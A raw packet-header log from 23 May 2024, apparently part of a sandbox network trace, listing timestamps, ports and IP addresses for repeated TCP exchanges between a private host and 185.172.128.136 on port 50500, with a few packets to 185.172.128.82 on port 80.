May 23, 2024 23:33:13.806500912 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.806536913 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.806570053 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.806602955 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.806662083 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.806664944 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.806664944 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.806696892 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.806730032 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.806730032 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.806786060 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.807394028 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.807429075 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.807478905 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.807508945 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.807542086 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.807574034 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.807589054 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.807621002 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.807671070 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.808408022 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.808442116 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.808474064 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.808496952 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.808526039 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.808557987 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.808577061 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.808590889 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.808636904 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.809475899 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.809509993 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.809564114 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.809632063 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.809673071 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.809706926 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.809724092 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.810300112 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.810333967 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.810345888 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.810367107 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.810399055 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.810411930 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.810441017 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.810494900 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.810580969 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.810614109 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.810658932 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.811355114 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.811408043 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.811439037 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.811454058 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.811475992 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.811507940 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.811517000 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.811541080 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.811588049 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.812228918 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.812263012 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.812309027 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.812311888 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.812345982 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.812388897 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.816119909 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.816153049 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.816200018 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.846983910 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.847047091 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.900676966 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.900711060 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.900886059 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.906757116 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.906790972 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.906824112 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.906856060 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.906874895 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.906914949 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.906925917 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.906948090 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.906979084 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907011032 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907042980 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907073975 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907104969 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907136917 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907134056 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.907134056 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.907135010 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.907170057 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907202959 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907202959 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.907234907 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907248020 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.907269001 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907299995 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907315016 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.907334089 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907377958 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.907804012 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907854080 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907886982 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907901049 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.907921076 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907953978 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.907968998 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.909043074 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909090042 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.909091949 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909126043 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909157038 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909171104 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.909189939 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909220934 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909235001 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.909254074 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909286022 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909298897 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.909318924 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909349918 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909363031 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.909383059 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909415007 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909427881 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.909447908 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.909492016 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.910013914 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910048008 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910078049 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910096884 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.910128117 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910159111 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910176039 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.910192013 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910223961 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910238028 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.910258055 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910289049 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910303116 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.910322905 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910353899 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910367012 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.910387039 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910418987 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.910433054 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.912354946 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912388086 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912405014 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.912420988 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912452936 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912467003 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.912484884 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912517071 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912527084 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.912549973 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912581921 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912596941 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.912615061 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912647009 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912657976 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.912679911 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912712097 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912725925 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.912744045 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912786961 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.912894964 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912926912 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912959099 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.912972927 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.912991047 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.913024902 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.913042068 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.913058043 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.913089037 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.913103104 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.913122892 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.913155079 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.913186073 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.913188934 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.913239956 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.914079905 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.914113045 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.914160967 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.914161921 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.914196014 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.914227009 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.914242029 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.914624929 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.914659023 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.914674044 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.958542109 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.999048948 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025171995 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025222063 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025257111 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025291920 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025325060 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025357962 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025367022 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025367022 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025367022 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025402069 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025441885 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025454998 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025489092 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025521994 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025537968 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025554895 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025604963 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025604963 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025638103 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025671005 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025682926 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025706053 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025738955 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025770903 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025779963 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025809050 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025809050 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025841951 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025873899 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025885105 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025907040 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025938988 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.025949001 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.025971889 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.026005030 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.026015043 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.026036978 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.026068926 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.026079893 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.026102066 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.026134014 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.026139975 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.033196926 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.033231020 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.033256054 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.067873955 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.082910061 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.083015919 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.091064930 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.091285944 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.719692945 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.720869064 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.727119923 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.832676888 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:33:14.832927942 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:14.895407915 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:33:17.099309921 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:17.864922047 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:17.870035887 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:33:18.221937895 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:33:18.271066904 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:48.630565882 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:48.635754108 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:33:48.841413021 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:33:48.895963907 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:04.700696945 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:04.706203938 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:04.911189079 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:04.958403111 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:10.989711046 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:11.003099918 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:11.204181910 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:11.244632959 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:14.255326986 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:14.263570070 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:14.468421936 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:14.520771027 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:17.505470991 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:17.513916969 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:17.733529091 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:17.786484003 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:20.771507025 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:20.776662111 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:20.982515097 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:21.036504030 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:22.868056059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:34:22.868129015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:34:24.809104919 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:24.819849014 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:25.031456947 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:25.083451986 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:28.083496094 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:28.094466925 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:28.295123100 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:28.391216040 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:31.333426952 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:31.338623047 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:31.550026894 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:31.645842075 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:34.602725029 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:34.608308077 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:34.809778929 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:34.942889929 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:37.849153996 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:37.854245901 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:38.064388037 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:38.145730019 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:41.255217075 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:41.260248899 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:41.468563080 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:41.645807981 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:44.505206108 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:44.511255026 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:44.697786093 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:44.698044062 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:44.708278894 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:44.830557108 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:44.942646980 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:47.865331888 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:47.871382952 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:48.077052116 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:48.173152924 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:51.130189896 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:51.135185003 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:51.346882105 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:51.442544937 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:54.380688906 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:54.385730982 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:54.596389055 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:54.739408016 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:56.238847017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:34:56.244545937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:34:57.630151987 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:34:57.635291100 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:57.843241930 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:34:57.942512989 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:00.880158901 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:00.886358976 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:01.091978073 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:01.239634991 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:04.145801067 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:04.150955915 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:04.362426043 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:04.442646027 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:07.399256945 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:07.404552937 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:07.606064081 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:07.739365101 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:10.667324066 CEST	49734	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:35:10.676422119 CEST	50500	49734	185.172.128.136	192.168.2.4
May 23, 2024 23:35:10.872798920 CEST	50500	49734	185.172.128.136	192.168.2.4
